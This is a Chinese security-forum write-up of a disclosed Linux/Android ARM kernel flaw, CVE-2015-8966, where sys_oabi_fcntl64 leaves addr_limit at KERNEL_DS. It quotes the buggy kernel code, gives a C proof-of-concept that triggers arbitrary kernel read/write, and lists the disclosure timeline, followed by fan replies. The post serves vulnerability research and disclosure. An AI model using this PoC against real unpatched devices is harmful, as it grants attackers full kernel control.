首页
社区
课程
招聘
[原创]CVE-2015-8966/AndroidID-31435731
发表于: 2016-12-13 23:23 9896

[原创]CVE-2015-8966/AndroidID-31435731

2016-12-13 23:23
9896

## 0x0 前言
这个漏洞大概是在去年11月中旬无意在内核源码中发现的,原理十分简单(看起来非常像一个后门...)

## 0x1 分析
漏洞存在于arm平台legacy syscall fcntl64:

asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
                                 unsigned long arg){
       
        struct oabi_flock64 user;
        struct flock64 kernel;
        mm_segment_t fs = USER_DS; /* initialized to kill a warning */
        unsigned long local_arg = arg;
        int ret;

        switch (cmd) {
        case F_OFD_GETLK:
        case F_OFD_SETLK:
        case F_OFD_SETLKW:
        case F_GETLK64:
        case F_SETLK64:
        case F_SETLKW64:
                if (copy_from_user(&user, (struct oabi_flock64 __user *)arg,
                                   sizeof(user)))
                        return -EFAULT;
                kernel.l_type        = user.l_type;
                kernel.l_whence        = user.l_whence;
                kernel.l_start        = user.l_start;
                kernel.l_len        = user.l_len;
                kernel.l_pid        = user.l_pid;
                local_arg = (unsigned long)&kernel;
                fs = get_fs();
                set_fs(KERNEL_DS);          //[1]
        }

        ret = sys_fcntl64(fd, cmd, local_arg);

        switch (cmd) {
        case F_GETLK64:
                if (!ret) {
                        ...
                }
        case F_SETLK64:
        case F_SETLKW64:
                set_fs(fs);     //[2]
        }
        return ret;
       
这个syscall的设计是:

1. 准备参数,设置当前进程为addr_limit: KERNEL_DS
2. 调用真正实现的函数sys_fcntl64
3. 返回结果,恢复当前进程的addr_limit: USER_DS

在[1]部分,将当前进程addr_limit设置为KERNEL_DS,该标示能够让进程获得内核的任意读写权限。
在[2]部分恢复时,只有某些command类型才恢复addr_limit。

## 0x2 利用
之所以说看起来像后门,是因为一行ioctl代码就能获取任意内核读写权限。
获取任意内核读写权限poc:

        __attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
                __asm __volatile (
                "swi        0x9000DD\n"
                "mov        pc, lr\n"
                :   
                :
                :
        );
        }

        #define F_OFD_GETLK        36
        #define F_OFD_SETLK        37
        #define F_OFD_SETLKW 38

        int main(int argc, char const *argv[]){
                int fd = open("/proc/cpuinfo", O_RDONLY);
                struct flock *map_base = 0;

                if(fd == -1){
                        perror("open");
                        return -1;
                }
                map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
                if(map_base == (void*)-1){
                        perror("mmap");
                        goto _done;
                }
                printf("map_base %p\n", map_base);
                memset(map_base, 0, 0x1000);
                map_base->l_start = SEEK_SET;
                if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
                        perror("sys_oabi_fcntl64");
                }
                // Arbitrary kernel read/write test
                if(try_to_read_kernel()){
                        printf("pwnned !\n");
                }
                munmap(map_base, 0x1000);
        _done:
                close(fd);
                return 0;
        }
       
## 0x3 结尾
这个漏洞影响内核版本:3.15-4.3,安卓平台影响3.18。
现阶段支持oabi的设备越来越少,虽然这个漏洞看起来很不错,但实际能用的地方并不多,这也是我提交的原因之一。
Btw,这个CVE-2015-8966我并不知道怎么来的,google给的issue是:AndroidID-31435731。

## 0x4 Timeline
2016.09.10 提交给Kernel Security
2016.09.15 Kernel确认影响内核版本,将在下一轮的稳定内核版本中修复
---------------------------------------------------------
2016.09.10 在goldfish 3.18验证后提交给google
2016.09.12 谷歌反馈,设置Critical
2016.10.04 谷歌确认不影响当前任何谷歌设备
2016.12.05 Android Security Bulletin - December 2016
CVE-2015-8966.pdf

------------------------------------------------------------------
Twitter/Weibo: ThomasKing2014
site: thomasking2014.com
-------------------------------------------------------------------


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (11)
雪    币: 191
活跃值: (195)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
偶像!!!!!!前排谁都不要跟我抢!!,带上瓜子和早餐围观偶像
2016-12-14 08:26
0
雪    币: 18
活跃值: (561)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
这也行,代码写的也太随意了。不过看来这个洞是没钱的~
2016-12-14 09:50
0
雪    币: 191
活跃值: (195)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
偶像你发帖啦,等下我也来一发
2016-12-14 10:58
0
雪    币: 244
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
写代码的人中途打了个瞌睡。
2016-12-14 11:55
0
雪    币: 148
活跃值: (278)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
还是thomas厉害,膜拜下
2016-12-16 14:02
0
雪    币: 226
活跃值: (177)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
这逻辑。。。一定是故意留下的后门233333
2016-12-16 16:21
0
雪    币: 219
活跃值: (52)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
还是setfs(KERNEL_DS)和setfs(USER_DS)不成对出现的坑~
2016-12-19 10:00
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
看来跟CVE-2016-3857很类似,都是oabi这一块
2016-12-20 14:58
0
雪    币: 11
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
ThomasKing大神,终于露面了一次。
2016-12-20 15:26
0
雪    币: 387
活跃值: (982)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
膜拜大神
2016-12-20 20:44
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
12
膜拜ThomasKing大神~~~
2016-12-21 16:57
0
游客
登录 | 注册 方可回帖
返回
//